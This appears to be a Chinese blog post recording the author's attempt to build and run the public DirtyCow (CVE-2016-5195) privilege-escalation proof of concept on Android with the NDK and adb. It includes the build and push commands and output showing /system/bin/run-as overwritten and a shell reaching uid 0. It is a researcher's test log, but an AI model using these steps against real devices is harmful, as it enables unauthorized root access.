dirtycow
来源:互联网 发布:便宜淘宝店 编辑:程序博客网 时间:2024/06/11 06:02
最近曝光一个关于dirtycow的linux漏洞,准备在android下进行提权测试,以下是网上的一些观点和我自己的测试。
一、关于编译
在Windows7下的cygwin下编译
windows设置环境变量,将android-ndk-r11路径添加到Path下
cygwin下的找到一个 home\< 你的用户名 >\.bash_profile 文件,添加
NDK=/cygdrive/e/android-ndk-r5
export NDK
(其实在这里可能也不用,这是做android的ndk开发时用的,看这篇文章http://www.cnblogs.com/devinzhang/archive/2012/02/29/2373729.html)
makefile里这句
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=android-21
可以修改android版本,我原来用的ndkr10,发现没有21的版本,后来路径改为r11,中间老是报没有ndk-build文件,我找了半天原因,后来才发现在11下真的没有这个linux下的可执行文件,就从r10下拷过来了。需要注意run-as.c文件里的 <sys/capability.h>:注意,在 man 手册里使用 #include <sys/capability.h> 头文件。实际上,现在已经改为 #include <Linux/capability.h>
make成功
$ make
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=android-21
make[1]: 进入目录“/cygdrive/D/project/Android/android-ndk-r11/up”
[armeabi] Cygwin : Generating dependency file converter script
[armeabi] Compile thumb : dirtycow <= dirtycow.c
[armeabi] Executable : dirtycow
[armeabi] Install : dirtycow => libs/armeabi/dirtycow
[armeabi] Compile thumb : run-as <= run-as.c
[armeabi] Executable : run-as
[armeabi] Install : run-as => libs/armeabi/run-as
make[1]: 离开目录“/cygdrive/D/project/Android/android-ndk-r11/up”
后面可以执行makefile里的make push和make root进行测试。
$ make push
./adb push libs/armeabi/dirtycow /data/local/tmp/dirtycow
100 KB/s (13648 bytes in 0.132s)
./adb push libs/armeabi/run-as /data/local/tmp/run-as
77 KB/s (9552 bytes in 0.120s)
$ make root
./adb push libs/armeabi/dirtycow /data/local/tmp/dirtycow
137 KB/s (13648 bytes in 0.097s)
./adb push libs/armeabi/run-as /data/local/tmp/run-as
90 KB/s (9552 bytes in 0.103s)
./adb shell 'chmod 777 /data/local/tmp/run-as'
./adb shell '/data/local/tmp/dirtycow /system/bin/run-as /data/local/tmp/run-as'
/system/bin/sh: /data/local/tmp/dirtycow: can't execute: Permission denied
./adb shell /system/bin/run-as
WARNING: linker: /system/bin/run-as: unused DT entry: type 0x6ffffffe arg 0x4fc
WARNING: linker: /system/bin/run-as: unused DT entry: type 0x6fffffff arg 0x1
running as uid 2000
uid 0
在Ubuntu14.10下测试,老是报错:
make[1]: /home/joo/Desktop/android-sdk/android-ndk-r10/toolchains/arm-linux-androideabi-4.6/prebuilt/linux-x86/bin/arm-linux-androideabi-gcc: Command not found
原因是我这个NDK是windows下的版本,在toolchains/arm-linux-androideabi-4.6/prebuilt下没有linux-x86这个目录,懒得折腾了,就这样了。
二、Android下App里面怎么提权
实际应用中我们肯定不是通过adb来对android进行提权,adb实现的是shell权限,在App中应用时用的用户权限,所以对run-as没有执行的权限,这大概就是selinux的机制吧。查看run-as的权限
-rwxr-x--- root shell 9444 2015-09-17 13:29 run-as
所以归根结底是还是没有对该漏洞完全了解,写不出自己利用的poc。几个文章链接
http://bbs.pediy.com/showthread.php?t=213391&highlight=dirtycow
http://bbs.pediy.com/showthread.php?t=213467&highlight=dirtycow
- dirtycow
- 2016年最火最牛的内存漏洞分析-dirtycow
- 复现dirtycow——CVE-2016-5195
- DirtyCow Linux权限提升漏洞分析(CVE-2016-5195)
- DirtyCow Linux权限提升漏洞分析(CVE-2016-5195)
- android系统中检测dirtycow(脏牛)漏洞的方法
- Linux核心再修补了安全漏洞 DirtyCOW修补不完全
- 悬镜安全实验室丨DirtyCow Linux权限提升漏洞分析(CVE-2016-5195)
- ubuntu 启动tomcat脚本
- IOS 圆形图片
- 私有云之殇:公有云这座大山(上)
- setsockopt的作用
- MediaPlayer详解
- dirtycow
- python中常见csv文件读取方法比较
- android 网络判断工具类
- mysql分表和表分区详解
- Docker挂载目录/备份目录
- [LeetCode]Partition List
- android简易日历 可查看一周内多个时间段事务安排
- TabLayout与ViewPager的联合使用
- 解决solr6.0不支持IK分词器问题